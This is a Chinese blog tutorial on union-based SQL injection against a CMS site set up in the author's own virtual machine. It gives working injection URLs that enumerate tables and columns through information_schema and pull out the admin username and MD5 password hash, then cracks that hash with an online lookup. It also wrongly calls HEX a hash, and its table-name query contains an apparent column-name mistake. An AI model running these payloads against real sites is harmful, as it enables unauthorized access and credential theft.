sql注入获取网站后台管理员账号与密码

本文详细介绍了如何通过SQL注入攻击获取CMS网站后台管理员的账号和密码,包括利用联合查询判断列数、显示位,查询表名和字段名,最终揭示了加密密码的解密过程。

利用联合查询获取cms 网站后台管理员帐密

环境介绍

物理机:Firefox浏览器(上加入hackbar插件)
win2008虚拟机:搭建有cms网站(不会搭建的可以看我前面的博客)

判断网站是否存在sql注入漏洞

我们用物理机的Firefox浏览器访问虚拟机上的cms网站,F12打开开发者工具,在后面可以看到hackbar工具,点到该工具窗口。
hackbar工具
首先我们先用最简单的方法判断是否存在漏洞。我们需要把地址框中的内容复制到hackbar框中,更改id的值,如果数据库中的内容回显到网页中,说明存在漏洞。
id=22
id=23
很明显的看到,id的值发生改变,网页中显示出了不同的内容,并且没有报错。这样我们就可以断定存在sql注入漏洞,并且判断可以采用联合查询的方法进行漏洞利用。

联合查询

判断列数

我们可以用order by方法来判断查询表的列数,可以从order by 1开始,直到order by n停止(看到报错停止),此时的查询列数为(n-1)。本次查询直到order by 16开始报错,所以为15列(如果列数太多从1开始+1查找比较费劲,可以使用折半查找的方法)。
查询表为15列

判断显示位

判断显示位的方法用到union合并查询,具体写法如图所示
判断显示位
可以从网页中显示的信息判断可能是第3列和第11列为显示位,或者可以用一下方法准确判断
在这里插入图片描述
我们将查询版本、查询所属数据库语句分别放在第3位跟第11位,网页中显示出了版本信息跟数据库信息,证明我们的判断是正确的。

查询所有表名

上面我们知道了所属数据库是cms,现在我们看一下总共有哪些表,而这些表中哪些属于cms库,并且存放了用户信息。学过数据库的应该都知道,我们用的数据库都会有一个默认库,里面存放的就是所有库名,表名,字段名。
在这里插入图片描述
http://10.3.139.59/cms/show.php
?id=35 and 1=2 union select 1,2,UNHEX(HEX(group_concat(column_name))),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()
解释一下这一堆是什么意思,HEX为哈希加密,可以将查询出的内容转换成16进制数,这样就不会报错了,但是网页中列出的表名是16进制数,不能辨认,我们必须再加上UNHEX进行解密,其他语句不做解释,学过数据库的应该都知道什么意思。→_→
如上图所示,我猜cms_users表中大概率存放了用户信息,所以接下来我们进行字段名获取。

字段名获取

在这里插入图片描述
http://10.3.139.59/cms/show.php
?id=35 and 1=2 union select 1,2,UNHEX(HEX(group_concat(column_name))),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name=‘cms_users’ and table_schema=database()
查询命令不多做解释。
从图中不难看出距离我们的目标越来越近了,此时,只要我们获取到
username、password字段中的内容就算大功告成了。
在这里插入图片描述
在第3列放入查询username字段内容的命令,第11列放入查询password字段内容的命令
如图看到的admin为用户名,(e10adc3949ba59abbe56e057f20f883e)为MD5加密过的密码。
接下来让我来给大家口算MD5值(开玩笑这谁能算出来)→_→
www.cmd5.com这是MD5密文、明文互相转换的网址。
在这里插入图片描述
大功告成!今天的博客就写到这里,感谢您的观看,觉得有用请点个赞,谢谢!

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值